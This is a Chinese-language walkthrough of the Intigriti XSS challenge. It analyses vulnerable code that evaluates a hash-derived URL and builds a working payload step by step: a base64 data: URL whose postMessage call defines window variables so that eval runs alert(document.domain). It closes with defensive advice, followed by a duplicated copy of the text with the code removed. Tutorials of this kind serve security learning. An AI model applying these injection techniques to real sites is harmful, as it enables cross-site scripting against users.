Intigriti XSS Challenge-题解
字数 1128 2025-08-26 22:11:45

Intigriti XSS Challenge 详细解析与利用教程

挑战概述

Intigriti XSS挑战要求创建一个特殊的URL,该URL需要满足两个条件:

  1. 可以作为iframe的src属性值
  2. 可以被eval()函数执行并弹出包含document.domain的alert框

关键代码分析

<script>
  const url = new URL(decodeURIComponent(document.location.hash.substr(1))).href.replace(/script|<|>/gi, "forbidden");
  const iframe = document.createElement("iframe"); iframe.src = url; document.body.appendChild(iframe);
  iframe.onload = function(){ window.addEventListener("message", executeCtx, false);}
  function executeCtx(e) {
    if(e.source == iframe.contentWindow){
      e.data.location = window.location;
      Object.assign(window, e.data);
      eval(url);
    }
  }
</script>

代码功能解析

  1. URL处理:

    • 获取URL hash部分(去掉#)
    • 解码URL编码
    • 替换"script"、"<"、">"为"forbidden"
    • 结果存储在url变量中
  2. iframe创建:

    • 创建iframe并将处理后的url作为src
    • 添加到文档body中
  3. 消息监听:

    • iframe加载完成后设置message事件监听
    • 触发executeCtx函数
  4. executeCtx函数:

    • 验证消息来源是否为iframe
    • 将消息数据中的location属性赋给window.location
    • 使用Object.assign将消息数据的所有属性赋给window对象
    • 最后执行eval(url)

利用步骤详解

第一步:绕过初始过滤

尝试使用base64编码的data URL绕过过滤:

data:text/html;base64,PHNjcmlwdD5hbGVydCgnaGknKTs8L3NjcmlwdD4=

这是<script>alert('hi');</script>的base64编码。虽然可以弹出alert,但无法从外部iframe获取document.domain。

第二步:使用postMessage通信

利用window.postMessageAPI与父窗口通信:

<script>window.parent.postMessage("test", "*")</script>

转换为URL:

data:text/html;base64,PHNjcmlwdD53aW5kb3cucGFyZW50LnBvc3RNZXNzYWdlKCJ0ZXN0IiwgIioiKTwvc2NyaXB0Pg

第三步:处理Object.assign问题

发送空对象避免错误:

<script>window.parent.postMessage({}, "*")</script>

URL:

data:text/html;base64,PHNjcmlwdD53aW5kb3cucGFyZW50LnBvc3RNZXNzYWdlKHt9LCAiKiIpPC9zY3JpcHQ+

第四步:使eval(url)解析为有效JS

分析发现URL被解析为:

data: // 标签
text/html; // 将text变量除以html变量
base64,... // 计算base64变量和后面的base64字符串,返回后者

第五步:利用data URL的charset参数

尝试在charset参数中注入JS:

data:text/html;charset=alert(1);base64,whatever

第六步:最终利用方案

完整payload:

<script>window.parent.postMessage({text:1, html:1, base64:1}, "*")</script>hi intigriti

最终URL:

data:text/html;alert(document.domain);base64,PHNjcmlwdD53aW5kb3cucGFyZW50LnBvc3RNZXNzYWdlKHt0ZXh0OjEsIGh0bWw6MSwgYmFzZTY0OjF9LCAiKiIpPC9zY3JpcHQ+aGkgaW50aWdyaXRp

关键点总结

  1. data URL结构利用:利用data URL的特殊解析方式绕过过滤
  2. postMessage通信:通过iframe与父窗口通信触发eval执行
  3. JS标签语法:利用标签语法使URL被解析为有效JS
  4. 变量预定义:通过Object.assign预定义text、html等变量避免错误
  5. 字符集参数注入:在data URL的charset参数中注入恶意代码

注意事项

  1. 该漏洞仅在Chrome浏览器中有效
  2. 现代Chrome版本可能需要添加setTimeout延迟postMessage调用
  3. 需要仔细处理base64编码的结尾字符,避免无效JS语法

防御建议

  1. 避免直接eval不可信输入
  2. 对URL进行更严格的验证和过滤
  3. 限制postMessage的源和目标
  4. 使用CSP等安全策略限制脚本执行
Intigriti XSS Challenge 详细解析与利用教程 挑战概述 Intigriti XSS挑战要求创建一个特殊的URL,该URL需要满足两个条件: 可以作为iframe的src属性值 可以被eval()函数执行并弹出包含document.domain的alert框 关键代码分析 代码功能解析 URL处理 : 获取URL hash部分(去掉#) 解码URL编码 替换"script"、" <"、">"为"forbidden" 结果存储在url变量中 iframe创建 : 创建iframe并将处理后的url作为src 添加到文档body中 消息监听 : iframe加载完成后设置message事件监听 触发executeCtx函数 executeCtx函数 : 验证消息来源是否为iframe 将消息数据中的location属性赋给window.location 使用Object.assign将消息数据的所有属性赋给window对象 最后执行eval(url) 利用步骤详解 第一步:绕过初始过滤 尝试使用base64编码的data URL绕过过滤: 这是 <script>alert('hi');</script> 的base64编码。虽然可以弹出alert,但无法从外部iframe获取document.domain。 第二步:使用postMessage通信 利用 window.postMessage API与父窗口通信: 转换为URL: 第三步:处理Object.assign问题 发送空对象避免错误: URL: 第四步:使eval(url)解析为有效JS 分析发现URL被解析为: 第五步:利用data URL的charset参数 尝试在charset参数中注入JS: 第六步:最终利用方案 完整payload: 最终URL: 关键点总结 data URL结构利用 :利用data URL的特殊解析方式绕过过滤 postMessage通信 :通过iframe与父窗口通信触发eval执行 JS标签语法 :利用标签语法使URL被解析为有效JS 变量预定义 :通过Object.assign预定义text、html等变量避免错误 字符集参数注入 :在data URL的charset参数中注入恶意代码 注意事项 该漏洞仅在Chrome浏览器中有效 现代Chrome版本可能需要添加setTimeout延迟postMessage调用 需要仔细处理base64编码的结尾字符,避免无效JS语法 防御建议 避免直接eval不可信输入 对URL进行更严格的验证和过滤 限制postMessage的源和目标 使用CSP等安全策略限制脚本执行